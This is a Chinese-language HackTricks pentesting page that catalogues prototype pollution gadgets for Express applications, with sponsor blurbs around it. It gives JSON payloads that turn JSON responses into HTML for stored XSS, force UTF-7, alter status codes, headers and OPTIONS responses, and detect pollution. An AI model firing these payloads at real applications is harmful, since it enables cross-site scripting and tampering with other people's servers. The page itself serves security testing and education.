Express Prototype Pollution Gadgets

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

WhiteIntel是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件侵害

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:


提供XSS响应

有关更多详细信息,请参阅 查看原始研究

将JSON内容类型更改为HTML

在使用JSON内容类型响应并反映JSON的Express应用程序中:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

在这些情况下,使用 JSON 内容类型通常不会导致 XSS。然而,通过原型污染,我们可以混淆 Express 以提供 HTML 响应。 这种漏洞依赖于应用程序使用**res.send(obj)**并使用 body 解析器与 application/json 内容类型。

{"__proto__":{"_body":true,"body":"<script>evil()"}}

通过污染 body_body 属性,可以导致Express提供HTML内容类型并反射_body属性,从而导致存储型XSS。

渲染UTF7

可以让express 渲染UTF-7内容

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

安全扫描技巧

JSON 空格

以下的 PP 将使 JSON 内部的属性多出一个空格,而不会破坏功能:

{"__proto__":{"json spaces": " "}}

然后反射的 JSON 将如下所示:

{"foo":  "bar"} -- Note the extra space

暴露的头部

以下的 PP gadget 会让服务器发送回 HTTP 头部:Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

需要安装CORS模块

OPTIONS方法

使用以下有效载荷,可以从OPTIONS响应中隐藏一个方法

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

状态

可以使用以下 PP 负载更改返回的状态码

{"__proto__":{"status":510}}

错误

当您使用原始值(如字符串)分配给原型时,会产生无操作操作,因为原型必须是一个对象。如果您尝试将原型对象分配给Object.prototype本身,这将引发异常。我们可以利用这两种行为来检测原型污染是否成功

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

反射值

当一个应用在其响应中包含一个对象时,创建一个与 __proto__ 并列的不寻常名称的属性可能会很有见地。具体来说,如果响应中只返回了不寻常的属性,这可能表明应用程序存在漏洞:

{"unusualName":"value","__proto__":"test"}

此外,在使用诸如Lodash之类的库的情况下,通过原型污染(PP)和直接在对象内部设置属性,提供了另一种诊断方法。如果响应中省略了这样的属性,则表明Lodash在合并之前验证了目标对象中属性的存在:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

其他

允许点

在 Express 中有一个选项,允许你从查询字符串参数创建对象。 你绝对可以在一个漏洞中使用它来利用原型污染漏洞

{"__proto__":{"allowDots":true}}

?foo.bar=baz 在 Node 中创建一个对象。

参考

WhiteIntel 是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件威胁

WhiteIntel 的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎:

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

最后更新于